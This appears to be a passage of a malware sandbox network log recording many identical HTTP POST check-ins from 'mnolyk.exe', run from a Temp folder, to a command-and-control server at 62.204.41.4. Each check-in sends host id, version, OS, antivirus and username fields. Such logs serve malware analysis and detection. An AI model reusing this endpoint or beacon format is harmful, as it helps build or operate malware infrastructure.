Feb 7, 2023 23:10:06.920361042 CET	810	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
696	192.168.2.7	50391	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:07.091831923 CET	811	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:07.157641888 CET	811	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
697	192.168.2.7	50392	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:07.350927114 CET	812	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:07.414670944 CET	812	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
698	192.168.2.7	50393	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:07.593302965 CET	813	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:07.657994032 CET	813	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
699	192.168.2.7	50394	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:07.826262951 CET	814	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:07.891798019 CET	814	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49701	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:03.267556906 CET	111	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:03.329868078 CET	111	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	49765	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:19.352231026 CET	185	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:19.415371895 CET	185	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
700	192.168.2.7	50395	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:08.061096907 CET	815	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:08.126143932 CET	815	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
701	192.168.2.7	50396	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:08.320216894 CET	816	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:08.385463953 CET	816	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
702	192.168.2.7	50397	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:08.575838089 CET	817	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:08.639832973 CET	817	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
703	192.168.2.7	50398	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:08.813550949 CET	818	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:08.877121925 CET	818	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
704	192.168.2.7	50399	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:09.045856953 CET	819	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:09.110275984 CET	819	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
705	192.168.2.7	50400	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:09.283190966 CET	820	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:09.347635984 CET	820	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
706	192.168.2.7	50401	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:09.526189089 CET	821	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:09.590598106 CET	821	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
707	192.168.2.7	50402	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:09.761332035 CET	822	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:09.824311018 CET	822	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
708	192.168.2.7	50403	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:09.998023987 CET	823	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:10.062766075 CET	823	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
709	192.168.2.7	50404	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:10.231347084 CET	824	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:10.293638945 CET	824	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	49766	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:19.651200056 CET	186	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:19.715879917 CET	186	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
710	192.168.2.7	50405	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:10.475955963 CET	825	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:10.544022083 CET	825	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
711	192.168.2.7	50406	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:10.747493029 CET	826	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:10.812560081 CET	826	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
712	192.168.2.7	50407	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:11.016581059 CET	827	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:11.081345081 CET	827	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
713	192.168.2.7	50408	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:11.262816906 CET	828	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:11.327658892 CET	828	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
714	192.168.2.7	50409	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
